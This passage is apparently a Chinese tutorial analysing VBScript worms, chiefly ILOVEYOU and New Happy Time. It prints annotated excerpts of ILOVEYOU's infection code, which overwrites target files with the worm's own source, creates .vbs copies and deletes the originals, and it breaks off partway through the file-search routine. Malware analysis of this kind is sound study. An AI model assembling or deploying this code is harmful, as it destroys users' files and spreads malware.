网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。 上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:
二、Vbs脚本病毒原理分析 1.vbs脚本病毒如何感染、搜索文件 VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理: 以下是文件感染的部分关键代码: Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象 set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身) vbscopy=self.readall ' 读取病毒全部代码到字符串变量vbscopy…… set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码 ap.write vbscopy ' 将病毒代码覆盖目标文件 ap.close set cop=fso.getfile(目标文件.path) '得到目标文件路径 cop.copy(目标文件.path & ".vbs") ' 创建另外一个病毒文件(以.vbs为后缀) 目标文件.delete(true) '删除目标文件 上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。 下面我们具体分析一下文件搜索代码: '该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本 sub scan(folder_) 'scan函数定义, on error resume next '如果出现错误,直接跳过,防止弹出错误窗口 set folder_=fso.getfolder(folder_) set files=folder_.files ' 当前目录的所有文件集合 for each file in filesext=fso.GetExtensionName(file) '获取文件后缀